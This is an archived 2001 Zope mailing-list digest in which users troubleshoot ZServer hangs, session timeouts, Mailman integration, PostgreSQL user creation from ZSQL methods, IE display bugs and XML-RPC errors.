Message-ID: Hi All, I just created a new ZClass which is basically a file with added properties. Now I would like to convert a load of ftp'd files to this new ZClass, is there an easy way of doing this? Regards, Dan From chrism@digicool.com Fri May 11 01:21:26 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 10 May 2001 20:21:26 -0400 Subject: [Zope] ZServer Must Be Continually Re-Started References: <5.0.2.1.0.20010510165825.009fd040@thewebsons.com> Message-ID: <3AFB3086.10F574E2@digicool.com> I can try to help, but I'm not sure where to start. First of all, when you say ZServer quits on you, do you mean that Zope stops running? Is there an error? What platform are you running on? Do you have debug logging turned on? (ie. do you have the STUPID_LOG_FILE environment variable set up)? If so, is there anything in the log? I'm afraid it'll be too slow for us to trade "do this, then do that" messages to troubleshoot this problem, so hopefully you'll be able to (over the next few days): - turn on debug logging (look for STUPID_LOG_FILE). Look at the log and see if anything is in there when a quit happens. - try to establish a pattern for the quits (time of day, heavy load, after a method is run, etc.) - get any other information related to the Zope process on the machine at quit time (is there a core file? is the process still running when ZServer 'quits' or does it actually go away?) Please report back any findings to the list. Thanks! HTH, - C Ben Ocean wrote: > > Hi; > I'm still having problems with ZServer quitting on me on a whim. Can > someone help me figure out how to trouble-shoot this? I just installed the > latest distro, so it's not the *old bug* that plagued earlier versions. > TIA, > BenO > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From zope@thewebsons.com Fri May 11 01:45:39 2001 From: zope@thewebsons.com (Ben Ocean) Date: Thu, 10 May 2001 17:45:39 -0700 Subject: [Zope] ZServer Must Be Continually Re-Started In-Reply-To: <3AFB3086.10F574E2@digicool.com> References: <5.0.2.1.0.20010510165825.009fd040@thewebsons.com> Message-ID: <5.0.2.1.0.20010510174409.00a18e40@thewebsons.com> At 08:21 PM 5/10/2001 -0400, you wrote: >I can try to help, but I'm not sure where to start. > >First of all, when you say ZServer quits on you, do you mean that Zope >stops running? Is there an error? HTTP 404 >What platform are you running on? RH6.2 >Do you have debug logging turned on? (ie. do you have the >STUPID_LOG_FILE environment variable set up)? If so, is there anything >in the log? No, I don't have it turned on. How do I do this? I just searched zope.org for the above and found next to nothing, and nothing useful. >I'm afraid it'll be too slow for us to trade "do this, then do that" >messages to troubleshoot this problem, so hopefully you'll be able to >(over the next few days): > >- turn on debug logging (look for STUPID_LOG_FILE). Look at the log and >see if anything is in there when a quit happens. > >- try to establish a pattern for the quits (time of day, heavy load, >after a method is run, etc.) > >- get any other information related to the Zope process on the machine >at quit time (is there a core file? is the process still running when >ZServer 'quits' or does it actually go away?) > >Please report back any findings to the list. Thanks! Will do. TIA, BenO From chrism@digicool.com Fri May 11 02:23:35 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 10 May 2001 21:23:35 -0400 Subject: [Zope] ZServer Must Be Continually Re-Started References: <5.0.2.1.0.20010510165825.009fd040@thewebsons.com> <5.0.2.1.0.20010510174409.00a18e40@thewebsons.com> Message-ID: <3AFB3F17.722022D3@digicool.com> Ben Ocean wrote: > > At 08:21 PM 5/10/2001 -0400, you wrote: > >I can try to help, but I'm not sure where to start. > > > >First of all, when you say ZServer quits on you, do you mean that Zope > >stops running? Is there an error? > > HTTP 404 Do you mean to say that every time Zope tries to serve a page that doesn't exist that ZServer stops running? > >Do you have debug logging turned on? (ie. do you have the > >STUPID_LOG_FILE environment variable set up)? If so, is there anything > >in the log? > > No, I don't have it turned on. How do I do this? I just searched zope.org > for the above and found next to nothing, and nothing useful. http://www.google.com/search?q=STUPID_LOG_FILE basically, set an environment variable named STUPID_LOG_FILE to the name of the file where you'd like debug info to go. On UNIX, add the following to your Zope's "start" file: export STUPID_LOG_FILE=var/debug.log A file will be created in the var directory of that Zope instance when Zope is run named "debug.log". It will collect messages related to Zope operation. Some will be meaningful, some less so. ;-) - C From lstafford@morphics.com Fri May 11 02:30:42 2001 From: lstafford@morphics.com (Loren Stafford) Date: Thu, 10 May 2001 18:30:42 -0700 Subject: [Zope] ZServer Must Be Continually Re-Started In-Reply-To: <5.0.2.1.0.20010510174409.00a18e40@thewebsons.com> Message-ID: When you search zope.org it's often better to use the Google Search box at http://www.zope.org/SiteIndex/searchForm. If you enter STUPID_LOG_FILE in the Google box, you'll get a lot of results. I got 68 when I tried. > >Do you have debug logging turned on? (ie. do you have the > >STUPID_LOG_FILE environment variable set up)? If so, is there anything > >in the log? > > No, I don't have it turned on. How do I do this? I just searched zope.org > for the above and found next to nothing, and nothing useful. From kedai@kedai.com.my Fri May 11 02:57:43 2001 From: kedai@kedai.com.my (bak (kedai)) Date: Fri, 11 May 2001 09:57:43 +0800 Subject: [Zope] _v_ for volatile (was Product event when zope restarts In-Reply-To: <3AFAA84C.4230C7AD@kaivo.com> References: <012e01c0d954$d6a08c20$150aa8c0@amphora.ee> <3AFAA84C.4230C7AD@kaivo.com> Message-ID: <01051109574301.00961@tokey> > If you must here is what I would do: > > Use two volatile variables to store the mod date and the data like: > > _v_mod > _v_data > > Then stat the file when it is accessed and see if its date differs from > _v_mod (if it has already been accessed). If not, return _v_data. > Otherwise read the file, return the data and store it into _v_data and > the mod date in _v_mod. > > hth, ---from ZDG----- The second rule is that all object attributes that begin with _v_ are "volatile" and are not saved to the database. This means that as long as the persistent object is in Zope memory cache, volatile attributes can be used. When the object is deactivated (removed from memory) volatile attributes are thrown away. Volatile attributes are useful for data that is good to cache for a while but can often be thrown away and easily recreated. File connections, cached calculations, rendered templates, all of these kinds of things are useful applications of volatile attributes. --------------------------- so, we may lose _v_mod, _v_data. what if we store these vars to be nonvolatile. what will that do? is that bad design? does this fall in the "good to cache for a while but can often be thrown away and easily recreated" department? this is something that i don't really understand. when to use _v_, and when not to. thanks From barry@digicool.com Fri May 11 04:18:14 2001 From: barry@digicool.com (Barry A. Warsaw) Date: Thu, 10 May 2001 23:18:14 -0400 Subject: [Zope] listservs, forums and Zope... References: Message-ID: <15099.23030.881890.789580@anthem.wooz.org> >>>>> "JB" == Joel Burton writes: JB> We use mailman, which is, IMHO, much easier to administer than JB> majordomo, and much less expensive than Listserv. That's great to hear! :) JB> Mailman isn't a Zope product per se, but it is programmed in JB> python, and it's stuff is stored in python marshalled data, so JB> it's fairly easy to get at. JB> If I can offer specific help on places you're stuck, let me JB> know. Given that a former and current Mailman developer both work for DC, there's a darn good chance that it will become easier and easier to integrate Mailman and Zope. I have plans for Mailman 3.0 to rewrite the underlying database code so that e.g. ZODB could be plugged in instead of the homegrown, hardwired marshaling approach. I also have plans for writing interfaces so that authentication and memberships can be handed off to external (to Mailman) processes, e.g. Zope and CMF. And it would be cool if the UI could be pluggable too so that things like Presentation Templates or other Zope UI mechanisms can be used. Really, the grand plan for Mailman 3.0 is to sort of turn it inside out, so that it's a package of functionality that can be plugged into all sorts of other frameworks. Then there'll probably be a "Mailman classic" framework so that you can continue run it standalone if you want. Don't ask me when that'll happen, I've no idea. First I need to get the current 2.1 code base out of alpha so that there's a solid internationalized Mailman release (with, of course, lots of other wizzy new features :). Cheers, -Barry From jojo@farm9.com Fri May 11 04:49:39 2001 From: jojo@farm9.com (Joh Johannsen) Date: Thu, 10 May 2001 20:49:39 -0700 Subject: [Zope] CoreSessionTracking timeout question References: <3AFAE3F9.F17C8ED@farm9.com> <039d01c0d983$d0e11910$8e17a8c0@kurtz> <3AFAF1EF.70B4092@farm9.com> <007901c0d98c$43f5e090$8e17a8c0@kurtz> <20010510191032.B31180@corrada.com> <3AFB26B2.A4633D7E@farm9.com> <3AFB2E53.C45BAB1C@digicool.com> Message-ID: <3AFB6153.219B01CC@farm9.com> Good news -- its reproducible, sort of... I've had a brief period where I could reproduce an instant "wipe-out" as soon as a session started. I had a slow-loading page, where it renders minus some graphics -- when it is not completely loaded, I click on a link -- when that link comes up all session data is gone. If I let the page load completely, session data remains. This makes me think it has more to do with the automatic creation of session data, I do: on every single page -- it seems like sometimes I am just getting a new session when I think I should be getting an existing one. This way is fairly reproducible, not all the time, but so far around 2/3 of the time (and I've tried it like 20 times). The "losing session data" part is like 2/3 of time, but so far I've never lost it if I let page load completely. Regards, JJ Chris McDonough wrote: > > This is troubling. Please keep me informed if weird things start to > happen again... before I make the next release I suppose I need to make > some more tests. Currently the test suite only tests a session data > object with a 1-minute timeout (as a 30 minute timeout would make for a > pretty silly test). The 1-minute test seems to work just fine, > however. :-( > > Joh Johannsen wrote: > > > > strange, I changed the timeout to 10 minutes (hoping to find a > > reproduceable case), and now it has not happened since. I haven't tried > > 60 minutes yet. 20 and 30 both did not behave very well. > > > > Thanks for the info. > > > > Regards, > > > > JJ > > > > andres@corrada.com wrote: > > > > > > Yes, I noticed this erratic behaviour also and raised the time to 60 minutes > > > and have not had a problem since then, but I would prefer to feel safe setting > > > it back down to 30. > > > > > > On Thu, May 10, 2001 at 04:03:21PM -0400, Chris McDonough wrote: > > > > In that case, I don't know the answer... is anyone else other than Jon > > > > having this problem? > > > > > > > > > > ------------------------------------------------------ > > > Andres Corrada-Emmanuel Email: andres@corrada.com > > > Internet Programming http://www.mamey.com > > > ------------------------------------------------------ > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://lists.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://lists.zope.org/mailman/listinfo/zope-announce > > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From anthony@interlink.com.au Fri May 11 05:02:40 2001 From: anthony@interlink.com.au (Anthony Baxter) Date: Fri, 11 May 2001 14:02:40 +1000 Subject: [Zope] forcing a ZEO client to retrieve something from it's server. Message-ID: <200105110402.OAA09379@mbuna.arbhome.com.au> For testing the state of a system, I want to be able to do a request that confirms that a ZEO client is alive, and that it's backend server is alive. I know I can do something like a write, but I really, really don't want to do that - Data.fs bloat. Is there a way to make a ZEO client get something from the server? Can you make an object that the ZEO client won't cache? ta, Anthony From chrism@digicool.com Fri May 11 05:28:36 2001 From: chrism@digicool.com (Chris McDonough) Date: Fri, 11 May 2001 00:28:36 -0400 Subject: [Zope] CoreSessionTracking timeout question References: <3AFAE3F9.F17C8ED@farm9.com> <039d01c0d983$d0e11910$8e17a8c0@kurtz> <3AFAF1EF.70B4092@farm9.com> <007901c0d98c$43f5e090$8e17a8c0@kurtz> <20010510191032.B31180@corrada.com> <3AFB26B2.A4633D7E@farm9.com> <3AFB2E53.C45BAB1C@digicool.com> <3AFB6153.219B01CC@farm9.com> Message-ID: <3AFB6A74.ACC26A1@digicool.com> Excellent, thanks for the report! I'll check it out... Joh Johannsen wrote: > > Good news -- its reproducible, sort of... I've had a brief period where > I could reproduce an instant "wipe-out" as soon as a session started. I > had a slow-loading page, where it renders minus some graphics -- when it > is not completely loaded, I click on a link -- when that link comes up > all session data is gone. > > If I let the page load completely, session data remains. This makes me > think it has more to do with the automatic creation of session data, I > do: sessionDataManager.getSessionData())"> on every single page -- it seems > like sometimes I am just getting a new session when I think I should be > getting an existing one. > > This way is fairly reproducible, not all the time, but so far around 2/3 > of the time (and I've tried it like 20 times). The "losing session > data" part is like 2/3 of time, but so far I've never lost it if I let > page load completely. > > Regards, > > JJ From danny@adair.net Fri May 11 05:36:41 2001 From: danny@adair.net (Danny William Adair) Date: Fri, 11 May 2001 16:36:41 +1200 Subject: [Zope] user roles in standard_error_message Message-ID: <5.1.0.14.0.20010511161806.00a5c7c8@getmail.adair.net> Hi! While customizing my standard_error_message, I ran into a little problem: Someone with the role "Member" is logged in and tries to access a resource that does not exist. Same could happen to someone who doesn't have that role (Anonymous). Now I have two different style sheets for members and non-members: A member might click on a broken link from within the members-only area (having a... pink background), the anonymous user clicked the same broken link from a publicly accessible area of the site (having a... silver background). I would like to keep the different background colors when showing my error message so I put a in the head section of standard_error_message (these *_css are ZStyleSheets) My problem is, that it's always the public_css that will show up. So I checked with in both the members area and standard_error_message. To my surprise the member role was gone: In the members area getRoles() returned ('Member',) while in standard_error_message ( _.str(error_type)=='NotFound' ) it returned ('Anonymous',) btw, the role is not really "lost", I can go back to the members area and click through members-only pages without problems. What's happening? This looks like buggy, naughty misbehavior :-), doesn't it? tia, Danny From danny@adair.net Fri May 11 05:40:20 2001 From: danny@adair.net (Danny William Adair) Date: Fri, 11 May 2001 16:40:20 +1200 Subject: [Zope] user roles in standard_error_message Message-ID: <5.1.0.14.0.20010511163838.00a69e10@getmail.adair.net> sorry sorry sorry, I just reinstalled my email client and didn't turn off html sending... sorry Hi! While customizing my standard_error_message, I ran into a little problem: Someone with the role "Member" is logged in and tries to access a resource that does not exist. Same could happen to someone who doesn't have that role (Anonymous). Now I have two different style sheets for members and non-members: A member might click on a broken link from within the members-only area (having a... pink background), the anonymous user clicked the same broken link from a publicly accessible area of the site (having a... silver background). I would like to keep the different background colors when showing my error message so I put a in the head section of standard_error_message (these *_css are ZStyleSheets) My problem is, that it's always the public_css that will show up. So I checked with in both the members area and standard_error_message. To my surprise the member role was gone: In the members area getRoles() returned ('Member',) while in standard_error_message ( _.str(error_type)=='NotFound' ) it returned ('Anonymous',) btw, the role is not really "lost", I can go back to the members area and click through members-only pages without problems. What's happening? This looks like buggy, naughty misbehavior :-), doesn't it? tia, Danny From jwm@plain.co.nz Fri May 11 05:57:21 2001 From: jwm@plain.co.nz (John Morton) Date: Fri, 11 May 2001 16:57:21 +1200 Subject: [Zope] Postgres and transactions Message-ID: <01051116572106.06701@antares> I'm attempting to use a ZSQL method to create a new user in a postgresql=20 database (in the CREATE USER... sense), using Popy and postgres 7.0. The=20 problem is that CREATE USER throws an error if you use it inside an expli= cit=20 transaction. So:=20 Does any know how to explicity turn off transactions for a particular ZSQ= L=20 method? Do any of the other postgresql adapters work any better? (I'd test them, = but=20 I've had build troubles with the others.) Can I get away with just inserting the appropriate data into pg_user or i= s=20 CREATE USER doing some other magic? I'd be grateful for any clues anyone has. John From charlie@blanchardsite.com Fri May 11 07:08:36 2001 From: charlie@blanchardsite.com (Charlie Blanchard) Date: Thu, 10 May 2001 23:08:36 -0700 Subject: [Zope] listservs, forums and Zope... In-Reply-To: <15099.23030.881890.789580@anthem.wooz.org>; from barry@digicool.com on Thu, May 10, 2001 at 11:18:14PM -0400 References: <15099.23030.881890.789580@anthem.wooz.org> Message-ID: <20010510230836.O539@blanchardsite.com> Just my $0.02 - the topic of wanting Mailman integrated with Zope seems to come up often in the demos and presentations I've been giving out here in Southern California... On Thu, May 10, 2001 at 11:18:14PM -0400, Barry A. Warsaw wrote: > > >>>>> "JB" == Joel Burton writes: > > JB> We use mailman, which is, IMHO, much easier to administer than > JB> majordomo, and much less expensive than Listserv. > > That's great to hear! :) > > JB> Mailman isn't a Zope product per se, but it is programmed in > JB> python, and it's stuff is stored in python marshalled data, so > JB> it's fairly easy to get at. > > JB> If I can offer specific help on places you're stuck, let me > JB> know. > > Given that a former and current Mailman developer both work for DC, > there's a darn good chance that it will become easier and easier to > integrate Mailman and Zope. I have plans for Mailman 3.0 to rewrite > the underlying database code so that e.g. ZODB could be plugged in > instead of the homegrown, hardwired marshaling approach. I also have > plans for writing interfaces so that authentication and memberships > can be handed off to external (to Mailman) processes, e.g. Zope and > CMF. And it would be cool if the UI could be pluggable too so that > things like Presentation Templates or other Zope UI mechanisms can be > used. > > Really, the grand plan for Mailman 3.0 is to sort of turn it inside > out, so that it's a package of functionality that can be plugged into > all sorts of other frameworks. Then there'll probably be a "Mailman > classic" framework so that you can continue run it standalone if you > want. > > Don't ask me when that'll happen, I've no idea. First I need to get > the current 2.1 code base out of alpha so that there's a solid > internationalized Mailman release (with, of course, lots of other > wizzy new features :). > > Cheers, > -Barry > -- charlie blanchard http://baldguru.com/ LosAngeles area Zope Users Group http://lazug.org From burton@w3cast.com Fri May 11 07:43:23 2001 From: burton@w3cast.com (Alex Burton) Date: Fri, 11 May 2001 02:43:23 -0400 Subject: [Zope] styled text editing In-Reply-To: References: Message-ID: Hello All, not a pure Zope question here: I'm investigating solutions to input and manipulate styled text that will end up in a SQL database. It should probably be a simple interface to HTML. The goal is to allow writers to input styles into text (such as putting titles in italic, personal names in bold) without having them do HTML or structured text, nor cut&paste into a visual HTML editor. This SQL data will head one way back onto the web (live zope) and the other way into a print layout program (probably as an XML file). What i would need is , , ,

, , maybe

based on tabs, you know, just the basic stuff. Possibilities i can think of: A Java applet that talks to Zope or SQL (like the new(?) hotmail editor). A Flash file that talks to Zope (assuming there is a Flash widget to do such editing) An SQL-aware app on the desktop (made in VBasic or something like that) ...? It actually does not have to be HTML, as long as Zope can deal with it (can go in a SQL blob). Anyone worked or stumbled upon something like this? We may have some resources to do development towards this, so general pointers and ideas are also welcomed. Thanks, Alex. From dario@ita.chalmers.se Fri May 11 07:56:32 2001 From: dario@ita.chalmers.se (Dario Lopez-Kästen) Date: Fri, 11 May 2001 08:56:32 +0200 Subject: [Zope] listservs, forums and Zope... References: <15099.23030.881890.789580@anthem.wooz.org> Message-ID: <001901c0d9e7$82f1a080$33de1081@ita.chalmers.se> From: "Barry A. Warsaw" =20 > Really, the grand plan for Mailman 3.0 is to sort of turn it inside > out, so that it's a package of functionality that can be plugged into > all sorts of other frameworks. Then there'll probably be a "Mailman > classic" framework so that you can continue run it standalone if you > want. >=20 > Don't ask me when that'll happen, I've no idea. First I need to get > the current 2.1 code base out of alpha so that there's a solid > internationalized Mailman release (with, of course, lots of other > wizzy new features :). >=20 I'd be very interested in looking into this, but I need some hints on = where to start looking. Is there a description of how mailman works = internally or is it just a question of finding tiume to "user the = source, Luke"? Specifically, I'd like to start by getting users from a = SQL database, and being able to dynamically changes what lists a user = belongs to. This I need to couple to users, groups and roles in zope. Any hints? /dario From hannu@tm.ee Fri May 11 05:17:16 2001 From: hannu@tm.ee (Hannu Krosing) Date: Fri, 11 May 2001 09:17:16 +0500 Subject: [Zope] Postgres and transactions References: <01051116572106.06701@antares> Message-ID: <3AFB67CC.F445E7AF@tm.ee> John Morton wrote: > > I'm attempting to use a ZSQL method to create a new user in a postgresql > database (in the CREATE USER... sense), using Popy and postgres 7.0. The > problem is that CREATE USER throws an error if you use it inside an explicit > transaction. I see no problem here: hannu=# begin; BEGIN hannu=# create user hu; CREATE USER hannu=# commit; COMMIT hannu=# maybe your zope user has no right to create new users ? ------------- Hannu From d.legg@ncl.ac.uk Fri May 11 09:02:54 2001 From: d.legg@ncl.ac.uk (David Legg) Date: Fri, 11 May 2001 09:02:54 +0100 Subject: [Zope] silly IE display question - manage screens showing 'view', not contents References: Message-ID: <00bb01c0d9f0$c8d2a3c0$1ec6f080@ncl.ac.uk> I had the same problem - I now have the same version 5.50.4522.1800 - this sorts it. ----- Original Message ----- From: "Meilicke, Scott" To: "'Chris McDonough'" ; "Chris Withers" Cc: "Meilicke, Scott" ; Sent: Thursday, May 10, 2001 5:17 PM Subject: RE: [Zope] silly IE display question - manage screens showing 'view', not contents > I don't - I have a laptop on win2k, and usually just 'Hibernate' - suspend > to disk, instead of shutting down and restarting in the morning. I > performed an update via windowsupdate.microsoft.com a few days ago and did > not reboot when prompted because I was in the middle of something. I > rebooted this morning, and it works fine now. For what it's worth, I'm > currently running IE 5.5, sp1, version 5.50.4522.1800. > > Oddly enough I had the same problem last night with Netscape - once. > Unfortunately I don't remember exactly what I did to correct it, but my site > prompted me to log in again via a windows logon window, not the usual web > logon. Sorry I didn't write down exactly what I did... > > Thanks for the help. > > Scott > > -----Original Message----- > From: Chris McDonough [mailto:chrism@digicool.com] > Sent: Thursday, May 10, 2001 5:54 AM > To: Chris Withers > Cc: Meilicke, Scott; zope@zope.org > Subject: Re: [Zope] silly IE display question - manage screens showing > 'view', not contents > > > Do you know what version it is via "About" so we can pin down the problem to > specific versions? > > ----- Original Message ----- > From: "Chris Withers" > To: "Chris McDonough" > Cc: "Meilicke, Scott" ; > Sent: Thursday, May 10, 2001 4:48 AM > Subject: Re: [Zope] silly IE display question - manage screens showing > 'view', not contents > > > > Chris McDonough wrote: > > > > > > Hi Scott... this is a known bug in some versions of IE 5.5. Upgrade > > > your browser to the latest IE and it will go away. > > > > Someone here is still having this problem with the latest-and-greatest IE > Sp2 > > :-( > > > > Chris > > > > (the web is dead, long live the OODB and a dedicated fat client ;-) > > > > From chrisw@nipltd.com Fri May 11 09:56:32 2001 From: chrisw@nipltd.com (Chris Withers) Date: Fri, 11 May 2001 09:56:32 +0100 Subject: [Zope] CoreSessionTracking timeout question References: <3AFAE3F9.F17C8ED@farm9.com> <039d01c0d983$d0e11910$8e17a8c0@kurtz> <3AFAF1EF.70B4092@farm9.com> <007901c0d98c$43f5e090$8e17a8c0@kurtz> <20010510191032.B31180@corrada.com> <3AFB26B2.A4633D7E@farm9.com> <3AFB2E53.C45BAB1C@digicool.com> <3AFB6153.219B01CC@farm9.com> <3AFB6A74.ACC26A1@digicool.com> Message-ID: <3AFBA940.5B49B44E@nipltd.com> Chris McDonough wrote: > > Excellent, thanks for the report! I'll check it out... Incidentally, I've been 'feeling' the same thing with 0.8.0 and Zope 2.3.2... cheers, Chris From nika@kassube.de Thu May 10 14:59:12 2001 From: nika@kassube.de (Nils Kassube) Date: Thu, 10 May 2001 15:59:12 +0200 Subject: [Zope] Get attributes of a doc in another folder In-Reply-To: <005501c0d8b4$1b10e9a0$0301a8c0@provence>; from glenfant@bigfoot.com on Wed, May 09, 2001 at 08:16:00PM +0200 References: <005501c0d8b4$1b10e9a0$0301a8c0@provence> Message-ID: <20010510155912.A27196@kursk.kassube.de> Guten Abend. * Gilles Lenfant [2001-05-09 20:16]: > > > Here "aname" is a string. Imho there should be an error message if you do this to an dtml-with tag :-) You want the object with the id aname, so you have to get it: _.getitem(aname). Your dtml-with tag then looks like this: Cheers, Nils From chrisw@nipltd.com Fri May 11 10:00:46 2001 From: chrisw@nipltd.com (Chris Withers) Date: Fri, 11 May 2001 10:00:46 +0100 Subject: [Zope] Zope hosting companies in the UK. References: Message-ID: <3AFBAA3E.82316CC6@nipltd.com> Dan Jacobs wrote: > > Hi All, > > I've recently fallen in love with zope, using it for 2 large charity > projects I am doing in my free time. > > Does anyone know of any zope hosting companies based in the UK and/or do > you think there would be demand for such a monster? Hi Dan, Check out: http://www.nipltd.net cheers, Chris From chrisw@nipltd.com Fri May 11 10:14:05 2001 From: chrisw@nipltd.com (Chris Withers) Date: Fri, 11 May 2001 10:14:05 +0100 Subject: [Fwd: [Zope] silly IE display question - manage screens showing 'view', not contents] Message-ID: <3AFBAD5D.2FDB215B@nipltd.com> Robert Davis wrote: > > IE 5.0 with SP2 - 5.00.3314.2101 This version has problems... cheers, Chris From chrisw@nipltd.com Fri May 11 10:17:34 2001 From: chrisw@nipltd.com (Chris Withers) Date: Fri, 11 May 2001 10:17:34 +0100 Subject: [Zope] listservs, forums and Zope... References: <15099.23030.881890.789580@anthem.wooz.org> Message-ID: <3AFBAE2E.40B39EAF@nipltd.com> "Barry A. Warsaw" wrote: > > Given that a former and current Mailman developer both work for DC, > there's a darn good chance that it will become easier and easier to > integrate Mailman and Zope. Cool :-) > I have plans for Mailman 3.0 to rewrite > the underlying database code so that e.g. ZODB could be plugged in > instead of the homegrown, hardwired marshaling approach. I also have > plans for writing interfaces so that authentication and memberships > can be handed off to external (to Mailman) processes, e.g. Zope and > CMF. And it would be cool if the UI could be pluggable too so that > things like Presentation Templates or other Zope UI mechanisms can be > used. > > Really, the grand plan for Mailman 3.0 is to sort of turn it inside > out, so that it's a package of functionality that can be plugged into > all sorts of other frameworks. Then there'll probably be a "Mailman > classic" framework so that you can continue run it standalone if you > want. What are the chances of Mailman becoming a 'Zope App'? Incidentally, on of the things I'm hoping for with Swishdot is to make it more of a cross between a weblog and a mailing list so I wonder if there's an opportunity for collaboration here? cheers, Chris From gilles.lavaux@esrin.esa.it Fri May 11 09:57:32 2001 From: gilles.lavaux@esrin.esa.it (Gilles Lavaux) Date: Fri, 11 May 2001 10:57:32 +0200 Subject: [Zope] ZServer Must Be Continually Re-Started: my Method to stop zope dead: Message-ID: <00bb01c0d9f8$6afc2480$fce3ccc1@asgard.esrin.esa.it> Hello This thread is going around since several years now (and zope version). I am aware of this problem because I encounter it since zope 0.9.xxx (or was it 1.0.xx??) :-); and I would love to have a solution... I only use zope basic functionality: Zserver + one postgreSQL adapter (Zpopyda at this time) and use some external methods , also some mailhost object. No Zclass or fancy products. I am personally thinking that ONE of the problem is that there is no time-out on the Zserver socket, I think that if for some reason a request get stuck, the thread is never released. If you use all the thread pool, your server doesn't reply anymore. Exercise (It's just a silly test I have done 5 mins ago): - my Zserver is configured to have a pool of 4 threads - I create en external method which loop - I create an DTML (hang_test) method which call this external method, then I make 4 copy ( hang_test1,hang_test2, etc..) - from a browser I call 2 of them: the requests get stuck as expected: I use the debug page to check them: (I have 2 long running threads at this time) 1)Opened:Fri May 11 09:12:13 2001 (488.23s) HTTP_ACCEPT_ENCODING : 'deflate, gzip, x-gzip, identity,*;q=0'. SERVER_PORT : '8080'. etc..... 2)Opened:Fri May 11 09:19:54 2001 (27.81s)..... 3)debug request. 4)free. - I block the zserver by calling the other hang_test3, hang_test4 methods. - that it. My Zope server is now bloqued since 15 minutes, I will see if it reply again later on. - eventualy (if I have some time) I will redo the same test using Zserver with a timeout socket library to see if it act the same... please understand that this is just a demonstration, I know that doing infinite loop is silly. In real life, one blocking condition I saw(I am almost sure of that, just almost) was the mailhost object: In case of empty(or bad, I don't remember) mail recipient, the request was blocking when it was doing the sendmail. This server was dying every few days. - my zope server is still dead: I have requests in my browser dated from 33 mins. have someone a solution? Gilles -----Original Message----- From: Ben Ocean To: zope@zope.org Date: Friday, May 11, 2001 1:50 AM Subject: [Zope] ZServer Must Be Continually Re-Started >Hi; >I'm still having problems with ZServer quitting on me on a whim. Can >someone help me figure out how to trouble-shoot this? I just installed the >latest distro, so it's not the *old bug* that plagued earlier versions. >TIA, >BenO > > >_______________________________________________ >Zope maillist - Zope@zope.org >http://lists.zope.org/mailman/listinfo/zope >** No cross posts or HTML encoding! ** >(Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From chrisw@nipltd.com Fri May 11 10:44:43 2001 From: chrisw@nipltd.com (Chris Withers) Date: Fri, 11 May 2001 10:44:43 +0100 Subject: [Zope] ZServer Must Be Continually Re-Started: my Method to stop zope dead: References: <00bb01c0d9f8$6afc2480$fce3ccc1@asgard.esrin.esa.it> Message-ID: <3AFBB48B.8EF9584@nipltd.com> Gilles Lavaux wrote: > > I am personally thinking that ONE of the problem is that there is no > time-out on the Zserver socket, I think that if for some reason a request > get stuck, the thread is never released. If you use all the thread pool, > your server doesn't reply anymore. I'd second that... > - eventualy (if I have some time) I will redo the same test using Zserver > with a timeout socket library to see if it act the same... I'd be very interested to see the results :-) > please understand that this is just a demonstration, I know that doing > infinite loop is silly. In real life, one blocking condition I saw(I am > almost sure of that, just almost) was the mailhost object: In case of > empty(or bad, I don't remember) mail recipient, the request was blocking > when it was doing the sendmail. This server was dying every few days. That could be a problem with your mail server, ours just comes back straight away and Zope raises an error. > have someone a solution? I hope so, that could be what's causing our server to hang since the system involved can have some very logn running methods... cheers, Chris ChrisM: I cc'ed you on this because I have a hunch that it's something along these lines that's causing the hangs I mentioned on zope-dev. That said, would the python process usage drop down to nothing in the above scenario? From mail@peterbe.com Fri May 11 10:49:22 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Fri, 11 May 2001 11:49:22 +0200 Subject: [Zope] Zope.org webpage Members section (right place to post question?) Message-ID: <00cc01c0da00$0e67e940$1c64a8c0@PBN> In my members section, I have a folder full of DTML Documents with some example code that I would like to display the document_src of. Isn't that possible? It requires loggin in, and I can't change the secutiry settings of the subfolder to let Anonymous Users look at the document_src. Any other page can be seen using the DTML Source link at the bottom. help.please.peter From glenfant@bigfoot.com Fri May 11 11:12:04 2001 From: glenfant@bigfoot.com (Gilles Lenfant) Date: Fri, 11 May 2001 12:12:04 +0200 Subject: [Zope] Can't get "objectIds()" (and others) from XML-RPC Message-ID: <009501c0da02$d520cbe0$0301a8c0@provence> Hi group... I'm trying to use XML-RPC server features of ZOPE using Fredrik Lundh's xmlrpclib and the BasicAuthTransport class explained in Amos Latteier's Howto http://www.zope.org/Members/Amos/XML-RPC. I've tried to do some stuffs explained in Amos's article at http://www.xml.com/lpt/a/2000/01/xmlrpc/index.html I succeeded reading a DTML document with server.document_src() but when trying to get a folder objects list, like in the example: from xmlrpclib import Server from BasicAuthTransport import BasicAuthTransport srv = xmlrpclib.Server('http://localhost:8080/anyfolder', BasicAuthTransport('myself', 'mypassword')) print srv.objectIds() # raises the xmlrpclib.Fault exception I got always this exception ! Traceback (most recent call last): File "./userlist.py", line 10, in ? print srv.objectIds() File "/usr/lib/python2.1/site-packages/xmlrpclib.py", line 539, in __call__ return self.__send(self.__name, args) File "/usr/lib/python2.1/site-packages/xmlrpclib.py", line 622, in __request request File "./BasicAuthTransport.py", line 46, in request return self.parse_response(h.getfile()) File "/usr/lib/python2.1/site-packages/xmlrpclib.py", line 593, in parse_respo nse return u.close() File "/usr/lib/python2.1/site-packages/xmlrpclib.py", line 367, in close raise apply(Fault, (), self._stack[0]) xmlrpclib.Fault: D ... </TD>\n\n<TD WIDTH="90%">\n 